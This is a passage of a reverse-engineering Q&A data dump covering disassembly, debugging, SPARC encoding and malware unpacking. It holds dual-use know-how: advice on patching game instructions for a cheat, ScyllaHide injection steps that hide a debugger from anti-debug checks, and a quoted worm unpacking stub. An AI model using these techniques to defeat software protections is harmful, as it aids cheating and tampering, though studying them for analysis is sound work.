[ecx + 4], str.outgrabe     ; [0x8048668:4]=0x6774756f ; &quot;outgrabe&quot; @ 0x8048668&#xA;│ 0x080484fc      e83ffeffff     call sym.imp.strcmp&#xA;│ 0x08048501      83f800         cmp eax, 0&#xA;│ 0x08048504      0f8507000000   jne 0x8048511&#xA;│ 0x0804850a      c745e8010000.  mov dword [ebp - 0x18], 1&#xA;│ 0x08048511      8b45e8         mov eax, dword [ebp - 0x18]&#xA;│ 0x08048514      83c428         add esp, 0x28                         ; '('&#xA;│ 0x08048517      5d             pop ebp&#xA;└ 0x08048518      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8170" LastEditorUserId="8170" LastEditDate="2017-05-26T00:32:16.993" LastActivityDate="2017-05-26T00:32:16.993" Title="Why does clang use ebp relative offsets to put function arguments on the stack?" Tags="|disassembly|x86|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15425" PostTypeId="1" CreationDate="2017-05-25T17:37:43.787" Score="0" ViewCount="1163" Body="&lt;p&gt;I'm a junior security researcher, and I'm interested in improving my ability in RE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a programmer at Assembly and C (and python and a few more high level lang).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I learned and know how to use windbg, ollydbg, and ida.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done quite a bit of RE in the last few years but now I really want to improve myself to the level of a professional ,today i feel like i can reverse simple programs (without heavy protection and prefer minimal GUI) , i want to advance to Know how to deal with any code, knowing to deal with all/most defense mechanisms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone recommend a good and recommended way to do this? (a series of challanges/ books/ any outher working way - i want to be able to look at a program in ida and  feel that i know exactly what to do even in state of the art anty debug protection).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I did the guides of LENA, KIGA and read the books:&#xA;Reverse Engineering for Beginners&#xA;Practical malware analysis&#xA;Reversing: The Hacker's Guide to Reverse Engineering)&lt;/p&gt;&#xA;" OwnerUserId="20325" LastActivityDate="2019-11-12T18:58:10.630" Title="How to get better in re?" Tags="|static-analysis|dynamic-analysis|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15426" PostTypeId="1" CreationDate="2017-05-25T20:18:31.397" Score="1" ViewCount="764" Body="&lt;p&gt;I'm running on MacOS Sierra (version 10.12.4). And I created two virtual machine on Virtualbox (version 5.1.22).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- Host Machine : Windows 10 Pro x64 (I installed Windows Driver kit 10)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- Target Machine: Windows 7 Pro x64&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm trying to use the first machine to debug the second one. And I configured the same host pipe for the two machines.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Configuration for the serial port in the Host machine(also same in the Target machine)&lt;a href=&quot;https://i.stack.imgur.com/Rooiq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rooiq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the debugger (host) machine, I launches windbg with this settings&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/E5JKJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/E5JKJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;And I enabled debug mode on the debugee (target) machine&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;C:\Windows\system32&gt;bcdedit/dbgsettings&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;debugtype               Serial&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;debugport               1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;baudrate                115200&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But when I trying to connect, they don't seem to know each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's wrong?&lt;/p&gt;&#xA;" OwnerUserId="13024" LastActivityDate="2018-05-09T01:57:07.933" Title="windows kernel debugging on Mac host (using VirtualBox)" Tags="|windows|debugging|windbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15427" PostTypeId="1" CreationDate="2017-05-25T22:00:28.003" Score="1" ViewCount="1273" Body="&lt;p&gt;I am trying to make a game hack and there are a few instructions I need to get the addresses of to &lt;code&gt;nop&lt;/code&gt; out. However, when looking at the instructions in Cheat Engine, they do not have a static offset from any modules (DLL's or base exe). I have no idea how I would locate dynamic instructions. Any help would be very nice.&lt;/p&gt;&#xA;" OwnerUserId="20327" LastEditorUserId="296" LastEditDate="2017-05-26T17:30:29.300" LastActivityDate="2017-07-25T20:05:05.860" Title="How to locate dynamic instructions?" Tags="|disassembly|assembly|dll|dynamic-linking|offset|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15428" PostTypeId="2" ParentId="15425" CreationDate="2017-05-26T03:51:46.623" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1118787315&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.amazon.com/Practical-Reverse-Engineering-Reversing-Obfuscation/dp/1118787315/&lt;/a&gt; is a very good book, especially if you're interested in Windows. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Practical Malware Analysis and especially Reversing: The Hacker's Guide are rather outdated, although to a lesser degree than Lena's tutes. Windows barely works in that way anymore, and skills you can pick up from these older books are indeed very basic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1593272898&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.amazon.com/IDA-Pro-Book-Unofficial-Disassembler/dp/1593272898/&lt;/a&gt; might be of interest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, to get better at X you have to do a lot of X.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. if you feel like a bit of poetry get this &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1502958082&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.amazon.com/xchg-rax-xorpd/dp/1502958082/&lt;/a&gt; ;)&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2017-05-26T03:51:46.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15430" PostTypeId="2" ParentId="15427" CreationDate="2017-05-26T11:25:39.373" Score="0" Body="&lt;p&gt;You could use signature scanning if they don't have symbols.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://wiki.alliedmods.net/Signature_Scanning&quot; rel=&quot;nofollow noreferrer&quot;&gt;Signature scanning&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19980" LastActivityDate="2017-05-26T11:25:39.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15431" PostTypeId="1" CreationDate="2017-05-26T13:49:08.617" Score="8" ViewCount="1127" Body="&lt;p&gt;I am reading the paper &lt;em&gt;Automatic Static Unpacking of Malware Binaries (Kevin Coogan et al.)&lt;/em&gt; with the goal of trying to reproduce the given experimental results (with &lt;code&gt;Hybris-C&lt;/code&gt;, &lt;code&gt;MyDoom.q&lt;/code&gt;, &lt;code&gt;tElock&lt;/code&gt;, etc), and studying how it can be expanded for other cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I understand, the authors first use pointer analysis to extract the unpacking code by detecting &lt;em&gt;transition points&lt;/em&gt; (i.e. the point separates the execution of the normal instructions from the runtime generated instructions), then the unpacker code is extracted using the backward slicing analysis from this point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a process of &quot;code punning&quot; and &quot;reassembly&quot; (e.g. patch out the defense code, fix some relocation problems, etc.), one could obtain a new binary whose each unpacked block is initially marked as a &lt;code&gt;s-object&lt;/code&gt; (abbr. for &lt;em&gt;section objects&lt;/em&gt;). Then the new binary can be emulated (if I understood correctly) where &lt;code&gt;s-object&lt;/code&gt;(s) will be filled out by unpacked code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I might be able to imagine some limits of static analysis applied in the paper (e.g. inaccuracies of backward static slicing, pointer analysis, side effects...), and the implicit hypothesis about the existence of the transition points, I still cannot figure out how the described static unpacker works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First&lt;/strong&gt;, the authors say that the &lt;em&gt;backward static slicing&lt;/em&gt; is applied since the context of the problem is unstructured binaries (and that is true since malicious codes are unstructured), but&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Problem 1: how can the &lt;em&gt;value-set analysis&lt;/em&gt;  be applied?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;since we have no hope to restore &lt;em&gt;abstract locations&lt;/em&gt; (used by &lt;em&gt;value-set analysis&lt;/em&gt;) in unstructured binaries. For example, in the following unpacking stub of &lt;code&gt;Hybris&lt;/code&gt; Worm:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    mov edx, 0x135&#xA;    mov ebx, 0x401000&#xA;    mov eax 0x6bf00803&#xA;&#xA;unpack:&#xA;    sub [ebx], eax&#xA;    nop&#xA;    sub eax, 0x15e3c0&#xA;    add ebx, 0x4&#xA;    dec ecx&#xA;    jne unpack&#xA;    jmp _oep&#xA;&#xA;_oep:&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suppose that there would exist no abstract locations, no?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second&lt;/strong&gt;, the authors say that each &lt;code&gt;s-object&lt;/code&gt; contains meta-data (i.e. name, size, ...) about some section, as cited in &lt;code&gt;V.B.3.1&lt;/code&gt; of the paper: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;an s-object... contains meta-data about the section it presents... These meta-data are obtained from section table of the binary...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Problem 2: how can we be sure that the unpacked code must be fit in a&#xA;  section (whose info can be obtained by parsing the binary header)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That would be probably true in the case of &quot;pure&quot; &lt;code&gt;UPX&lt;/code&gt; where the unpacked codes are located in the section &lt;code&gt;UPX0&lt;/code&gt;, but this is not true in general (e.g. the case above of &lt;code&gt;Hybris&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there is a step of &lt;em&gt;address translation&lt;/em&gt; described in &lt;code&gt;V.B.3.1&lt;/code&gt; which arise from the difference between the normal runtime unpacking process of the binary and the unpacking process of the static unpacker, I assume that the output of this unpacker is a &lt;strong&gt;new binary&lt;/strong&gt; contains only unpacked code and no unpacking stub. But &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Problem 3: how can it deal with multiple level packed programs?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For example, the experimental results given in the &lt;code&gt;Figure 5&lt;/code&gt; of the paper has the case of &lt;code&gt;Peed-44&lt;/code&gt; which uses a customized &lt;code&gt;UPX&lt;/code&gt; contains at least &lt;code&gt;2&lt;/code&gt; unpacking levels: which form should be considered as the &quot;real&quot; unpacked code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is my understanding about the paper correct? (that should be not) then where did I misunderstand?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2017-05-26T15:21:35.253" LastActivityDate="2019-09-16T03:02:30.280" Title="Automated Static Unpacking Binaries" Tags="|malware|static-analysis|unpacking|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15432" PostTypeId="2" ParentId="15431" CreationDate="2017-05-26T15:50:55.630" Score="1" Body="&lt;p&gt;Regarding your 2nd question, usually you're not using sections but memory pages (and their associated permissions). You know the unpacked code will eventually have to be written then executed in a memory page, and you can easily detect such memory pages that have been writable, written to, and then executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding your 3rd question, I'd say that a naive approach would be to run until the last stable &quot;transition point&quot; and then by definition, this last layer is the unpacked code. But more complex protections could break this heuristic very fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding your first question, I'm not sure I understand any of those words.&lt;/p&gt;&#xA;" OwnerUserId="8679" LastActivityDate="2017-05-26T15:50:55.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15433" PostTypeId="2" ParentId="15427" CreationDate="2017-05-26T15:56:14.293" Score="0" Body="&lt;p&gt;If this code is used in any way by your program, this location has to be stored somewhere to be used by the &quot;static&quot; part of your binary. So usually what you want to do is to find a chain of pointers going to your target code. You can find such a chain either by reversing the binary or blindly memory-greping addresses starting from your target.&lt;/p&gt;&#xA;" OwnerUserId="8679" LastActivityDate="2017-05-26T15:56:14.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15434" PostTypeId="2" ParentId="15406" CreationDate="2017-05-26T16:01:50.503" Score="0" Body="&lt;p&gt;Debugging a program means executing its instruction on your CPU, &quot;undoing&quot; the last instruction is usually not possible with a standard debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can debug your program in a virtual machine, take memory snapshots at given points while debugging, and restore those snapshots.&lt;/p&gt;&#xA;" OwnerUserId="8679" LastActivityDate="2017-05-26T16:01:50.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15435" PostTypeId="2" ParentId="14679" CreationDate="2017-05-26T18:49:01.110" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;As I figure out a method, &lt;em&gt;relabel it in the code browser&lt;/em&gt;, have that relabel propagate to all invocations of that method, &lt;em&gt;similar to a &quot;refactor&quot; action&lt;/em&gt; in many IDEs&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;While my project doesn't have IDE integration I think I made exactly what you're looking for. &lt;a href=&quot;https://github.com/Col-E/JRemapper&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mostly because I made it for similar reasons&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its a GUI that decompiles code with CFR but links class and member names to the decompiled text. To rename them you simply click the name or member, type in a new name and hit enter. You can export your changes as a text file or as a updated jar file.&lt;/p&gt;&#xA;" OwnerUserId="20336" LastActivityDate="2017-05-26T18:49:01.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15436" PostTypeId="2" ParentId="12290" CreationDate="2017-05-27T14:15:25.673" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Open debugger and attach to the pin executable to check if the dead loop is in the pin itself. This is highly unlikely and the most probable cause is the tool you've written.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do the same for the pintool. Pintool is in the target process. So attache debugger to it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The debugger should show you where the problem is. Once the area identified, you can open the tool in IDA to do further inspection or &quot;connect&quot; your source to debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way, is to log every Trace or basic block that is executing - check in the examples. This log should also show you the problematic area.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2017-05-27T14:15:25.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15440" PostTypeId="1" AcceptedAnswerId="15441" CreationDate="2017-05-28T21:47:26.177" Score="-1" ViewCount="100" Body="&lt;p&gt;I was checking &lt;a href=&quot;http://wjradburn.com/software/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PEview.exe&lt;/a&gt; image section headers and I didn't find the .txt section, but i found code section instead, it means it was developed using Delphi, right?&lt;/p&gt;&#xA;" OwnerUserId="20356" LastEditorUserId="-1" LastEditDate="2017-05-29T14:26:24.487" LastActivityDate="2017-05-29T14:26:24.487" Title="Was PEview developed using Delphi?" Tags="|delphi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15441" PostTypeId="2" ParentId="15440" CreationDate="2017-05-28T23:55:55.983" Score="0" Body="&lt;p&gt;Nope ... Here's the environement used to develop it &lt;a href=&quot;http://www.godevtool.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GoDevTool&lt;/a&gt;. Given what I read about the GoDevTool, it looks it might have been written in 32bit Windows assembly which was interfaced with a Go API.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="13139" LastEditDate="2017-05-29T08:18:03.447" LastActivityDate="2017-05-29T08:18:03.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15443" PostTypeId="1" AcceptedAnswerId="15445" CreationDate="2017-05-29T19:19:12.117" Score="1" ViewCount="2414" Body="&lt;p&gt;I was analysing Lab01-02.exe from Practical Malware Analysis book, the exe is packed with upx, since it showed UPX0, 1, 2 in the header section when analyzed with PEview, but when I open the same exe with PE Explorer is showed the regular header section (.txt .data ... )&#xA;Dose PE Explorer unpack packed files before analyze it? what if I want to view the packed exe with PE Explorer?&lt;/p&gt;&#xA;" OwnerUserId="20356" LastActivityDate="2017-05-30T12:30:03.217" Title="Dose PE Explorer unpack upx executables?" Tags="|static-analysis|unpacking|packers|upx|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15444" PostTypeId="1" CreationDate="2017-05-29T23:26:51.237" Score="1" ViewCount="75" Body="&lt;p&gt;I was checking the Strings for Lab01-04.exe from Practical Malware Analysis and I found wupdmgr.exe and I face this every time I search for an exe.&#xA;Is there any &quot;msdn&quot; alike repository but for exe files?&lt;/p&gt;&#xA;" OwnerUserId="20356" LastEditorUserId="2221" LastEditDate="2017-05-31T18:53:13.983" LastActivityDate="2017-05-31T18:53:13.983" Title="Where can I get a good description about windows build-in exe programs like wupdmgr.exe?" Tags="|windows|malware|static-analysis|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15445" PostTypeId="2" ParentId="15443" CreationDate="2017-05-30T12:30:03.217" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;http://www.heaventools.com/overview.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;product overview of PE Explorer&lt;/a&gt; states in several places that it will load PE files that are compressed with UPX.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Open UPX-, Upack- and NsPack-compressed files seamlessly in PE Explorer, without long workarounds&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="20372" LastActivityDate="2017-05-30T12:30:03.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15446" PostTypeId="1" AcceptedAnswerId="15449" CreationDate="2017-05-30T18:28:38.367" Score="3" ViewCount="144" Body="&lt;p&gt;I am trying to figure out the encoding for unconditional JMPs on SPARC, i.e the JMP. After disassembling a few binaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my IDA disassembly the encoding for JMP %g1 is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;81 c0 40 00 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Digging through the spark manuals, I can't seem to find a record of how this is encoded. I am also confused as to why IDA refers to a &quot;JMP&quot; as opposed to the &quot;JMPL&quot; in the docs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The JMPL encoding recommendations given in the SPARC9 manual are a little arcane to me and I struggle with what they are getting at:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;10-RD-OP3-RS1-i-[-]-rs2 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;10-RD-OP3-RS1-i-siMM3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&quot;If either of the low-order two bits of the jump address is nonzero, a mem_address_not_aligned&#xA;exception occurs&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, I'm not sure how that squares with the instruction that IDA found. Can someone break down how this maps to JMP %g1? How would this change for JMP %g2? &lt;/p&gt;&#xA;" OwnerUserId="2149" LastActivityDate="2017-06-26T13:42:34.770" Title="What is the encoding format for unconditional Jumps on SPARC/SPARC64?" Tags="|encodings|sparc|assembly|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15447" PostTypeId="1" CreationDate="2017-05-30T19:21:37.667" Score="0" ViewCount="1281" Body="&lt;p&gt;I'm trying to define an address so that I can edit its memory later, however I can't figure out a way to access it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The base address is &lt;code&gt;&quot;program.exe&quot;+00D23440&lt;/code&gt; and has an offset of +30&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally you would just take the address and add its offset, but there's a string involved here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do?&lt;/p&gt;&#xA;" OwnerUserId="20370" LastActivityDate="2017-05-30T23:52:51.373" Title="how do I define an address with a module and an offset in c++" Tags="|disassembly|c++|memory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15448" PostTypeId="2" ParentId="15447" CreationDate="2017-05-30T23:52:51.373" Score="1" Body="&lt;p&gt;Modules have a base address where space is allocated for it.&lt;br&gt;For example in 32 bit this can be 0x00400000. &lt;br&gt;&#xA;So &quot;program.exe&quot; is just a placeholder for BASE_ADDRESS+OFFSET &lt;br&gt;&#xA;You need to know or find out the base address of your program. &lt;br&gt;&#xA;you can do this manually or dynamically &lt;br&gt;&#xA;for an example of a dynamic solution see here &lt;br&gt;&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/11564148/how-to-get-the-starting-base-address-of-a-process-in-c&quot;&gt;https://stackoverflow.com/questions/11564148/how-to-get-the-starting-base-address-of-a-process-in-c&lt;/a&gt;&lt;br&gt;&#xA;In some situations, the base address can change.&lt;br&gt;&#xA;This is why a dynamic solution is be preferred.&lt;/p&gt;&#xA;" OwnerUserId="19064" LastActivityDate="2017-05-30T23:52:51.373" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15449" PostTypeId="2" ParentId="15446" CreationDate="2017-05-31T07:51:37.270" Score="5" Body="&lt;p&gt;81 c0 40 00 can be broken down as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &#xA;10 00000 111000 00001 0 0000000000000&#xA;&#xA;^--op1&#xA;   ^--rd&#xA;         ^--op3&#xA;                ^--rs1&#xA;                      ^--i&#xA;                         ^--rs2/simmm13&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To change the target from %g1 to %g2, just change the rs1 field from 00001 to 00010.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'L' is simply an artifact of at&amp;amp;t syntax vs intel syntax. In at&amp;amp;t syntax, the instruction name encodes information about the argument size. In intel syntax, that's done via the decorating of arguments.&lt;/p&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="1481" LastEditDate="2017-06-26T13:42:34.770" LastActivityDate="2017-06-26T13:42:34.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15450" PostTypeId="2" ParentId="2082" CreationDate="2017-05-31T13:33:44.880" Score="2" Body="&lt;p&gt;Here you can download QEMU virtual machine with embedded WinDbg stub:&#xA;&lt;a href=&quot;https://github.com/ispras/qemu/releases&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ispras/qemu/releases&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/ispras/qemu/tree/windbg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ispras/qemu/tree/windbg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This stub allows debugging with WinDbg without enabling Windows debugging mode.&lt;/p&gt;&#xA;" OwnerUserId="20387" LastActivityDate="2017-05-31T13:33:44.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15451" PostTypeId="2" ParentId="2082" CreationDate="2017-05-31T14:11:44.760" Score="6" Body="&lt;p&gt;You can use &lt;a href=&quot;https://github.com/x64dbg/ScyllaHide&quot; rel=&quot;noreferrer&quot;&gt;ScyllaHide&lt;/a&gt;. There are plugins for many debuggers, but it is also possible to use &lt;code&gt;InjectorCLI.exe&lt;/code&gt; to inject ScyllaHide into any process. Here are the steps (for a 32 bit process, if you want a 64 bit process, replace every &lt;code&gt;x86&lt;/code&gt; with &lt;code&gt;x64&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Extract ScyllaHide (&lt;a href=&quot;https://github.com/x64dbg/ScyllaHide/releases&quot; rel=&quot;noreferrer&quot;&gt;download&lt;/a&gt;) anywhere;&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;NtApiTool\x86\PDBReaderx86.exe&lt;/code&gt; and when it's finished, copy &lt;code&gt;NtApiCollection.ini&lt;/code&gt; to the same directory as &lt;code&gt;InjectorCLIx86.exe&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Open &lt;code&gt;ScyllaTest_x86.exe&lt;/code&gt; with WinDbg (x86) you should be in &lt;code&gt;LdrpDoDebuggerBreak&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Execute &lt;code&gt;InjectorCLIx86.exe ScyllaTest_x86.exe HookLibraryx86.dll&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Run (F5) in WinDbg.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Without using ScyllaHide:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e7hK5.png&quot; alt=&quot;no hiding&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using ScyllaHide:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gps0Z.png&quot; alt=&quot;hiding&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This process works for any debugger, if you feel like it you can even make an actual plugin for WinDbg. It should be quite easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just added an option to inject to a process by process id. You can do this with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;InjectorCLIx86.exe pid:1234 HookLibraryx86.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2221" LastEditorUserId="2221" LastEditDate="2017-05-31T14:29:52.023" LastActivityDate="2017-05-31T14:29:52.023" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15452" PostTypeId="2" ParentId="15420" CreationDate="2017-05-31T14:44:25.220" Score="1" Body="&lt;p&gt;You can try &lt;a href=&quot;https://github.com/x64dbg/ScyllaHide&quot; rel=&quot;nofollow noreferrer&quot;&gt;ScyllaHide&lt;/a&gt;. There is no plugin for Immunity Debugger, but there is one for OllyDbg and that should make it trivial to port. Alternatively you can see &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/15451/2221&quot;&gt;this answer&lt;/a&gt; on how to hide any process with ScyllaHide regardless of the debugger you're using.&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2017-05-31T14:44:25.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15453" PostTypeId="1" CreationDate="2017-05-31T15:41:54.150" Score="1" ViewCount="195" Body="&lt;p&gt;I am having a difficult time reversing the following loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;│       ┌─&amp;lt; 0x100001fea      723b           jb 0x100002027&#xA;│       │   0x100001fec      31db           xor ebx, ebx               ; ebx = 0&#xA;│       │   0x100001fee      41bc04000000   mov r12d, 4&#xA;│       │   0x100001ff4      6666662e0f1f.  nop word cs:[rax + rax]&#xA;│      ┌──&amp;gt; 0x100002000      418b441d00     mov eax, dword [r13 + rbx]&#xA;│      |│   0x100002005      b959b699f7     mov ecx, 0xf799b659&#xA;│      |│   0x10000200a      31c8           xor eax, ecx&#xA;│      |│   0x10000200c      418907         mov dword [r15], eax&#xA;│      |│   0x10000200f      4189041e       mov dword [r14 + rbx], eax&#xA;│      |│   0x100002013      4963dc         movsxd rbx, r12d&#xA;│      |│   0x100002016      4c8d6304       lea r12, [rbx + 4]&#xA;│      |│   0x10000201a      4c89ef         mov rdi, r13               ; const char * s&#xA;│      |│   0x10000201d      e8d0080000     call sym.imp.strlen        ; size_t strlen(const char *s)&#xA;│      |│   0x100002022      4939c4         cmp r12, rax&#xA;│      └──&amp;lt; 0x100002025      76d9           jbe 0x100002000&#xA;│       └─&amp;gt; 0x100002027      488b05d20f00.  mov rax, qword [reloc.__stack_chk_guard_0] ; 